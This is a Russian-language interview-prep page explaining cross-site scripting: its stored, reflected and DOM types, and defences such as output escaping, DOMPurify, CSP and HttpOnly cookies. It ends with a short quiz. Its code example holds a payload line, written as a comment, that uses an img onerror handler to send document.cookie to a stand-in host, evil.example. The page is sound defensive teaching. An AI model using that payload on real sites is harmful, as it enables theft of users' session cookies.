Что такое XSS и как от неё защищаться?
- Что такое межсайтовый скриптинг?
- Зачем cookie флаг HttpOnly?
- Что такое Content Security Policy?
XSS — злоумышленник заставляет сайт выполнить его JavaScript в браузере другого пользователя: скрипт работает с правами сайта — читает данные страницы, отправляет запросы от имени жертвы.
- Хранимая — скрипт сохранён в базе (комментарий, имя профиля); отражённая — пришёл в параметре ссылки; DOM-XSS — внедрён клиентским кодом
- Главная защита — экранирование вывода по контексту; фреймворки делают это по умолчанию
- Опасные места: innerHTML, dangerouslySetInnerHTML, v-html, вставка в URL и атрибуты
А ещё Защита в глубину: CSP, cookie с HttpOnly, санитайзер для разрешённого HTML
Подробно
Браузер не различает «скрипт сайта» и «скрипт, который сайт по ошибке вставил из пользовательских данных». Если в имя пользователя записать <script>…</script>, а страница выведет имя как HTML, скрипт выполнится у всех, кто откроет страницу.
Виды:
- хранимая — вредный ввод сохраняется на сервере и показывается другим: комментарии, отзывы, сообщения в поддержку, названия файлов;
- отражённая — вредные данные в ссылке (
?q=<script>…), сервер вставляет их в ответ; жертву заманивают по ссылке; - DOM-based — уязвим клиентский код:
element.innerHTML = location.hash.
Что может скрипт: читать содержимое страницы и токены из localStorage, делать запросы к API от имени пользователя (с его cookie), подменять формы и выманивать пароль, майнить, распространяться дальше (червь в соцсети).
Защита:
- экранирование при выводе с учётом контекста: в HTML-тексте
<→<; в атрибуте — кавычки; в JavaScript — свои правила; в URL — запретjavascript:. Шаблонизаторы (Jinja2, Thymeleaf) и фреймворки (React, Vue, Angular) экранируют по умолчанию — опасно именно отключение:dangerouslySetInnerHTML,v-html,|safe,innerHTML; - если нужно разрешить HTML (редактор статей) — санитайзер со списком разрешённых тегов и атрибутов (DOMPurify), а не самописные регулярки;
- Content Security Policy — заголовок, который запрещает инлайн-скрипты и загрузку скриптов с чужих доменов: даже внедрённый тег не выполнится;
- **cookie с
HttpOnly** — скрипт не прочитает сессионную cookie (но запросы от имени пользователя сделать всё равно сможет); - не хранить токены в
localStorage, если можно в HttpOnly-cookie; Content-TypeиX-Content-Type-Options: nosniffдля отдаваемых файлов.
Валидация ввода полезна, но не заменяет экранирование вывода: одни и те же данные выводятся в разные контексты.
Пример
// уязвимо: имя пользователя из API вставляется как HTML
card.innerHTML = `<b>${user.name}</b>`;
// user.name = '<img src=x onerror="fetch(`//evil.example/?c=${document.cookie}`)">'
// безопасно: текст, а не разметка
const b = document.createElement("b");
b.textContent = user.name;
card.append(b);Что хотят услышать
- Суть: чужой скрипт выполняется в контексте сайта у другого пользователя.
- Виды: хранимая, отражённая, DOM.
- Экранирование по контексту как главная защита, опасные API фреймворков.
- CSP и HttpOnly как дополнительные слои.
Частые ошибки
- Защищаться только фильтрацией слова
<script>на входе. - Считать, что HttpOnly полностью защищает от последствий XSS.
Проверьте себя
Один верный вариант. Подумайте, потом откройте ответ.
Показать варианты и ответ
- ✗Атака на базу данных через SQL в полях формы
- ✗HTTPS полностью защищает от XSS, шифруя страницу
- ✗XSS возможна только через параметры ссылки
- ✓Чужой JS выполняется в браузере с правами сайта; защита — экранирование
Что спросят дальше
Связанные вопросы
Разбор собеседования с sotto
После собеседования sotto разбирает разговор: оценка, каждый вопрос — хорошо, частично или слабо, чего не хватило в ответе и над чем поработать к следующему разу. Первые 30 минут бесплатно.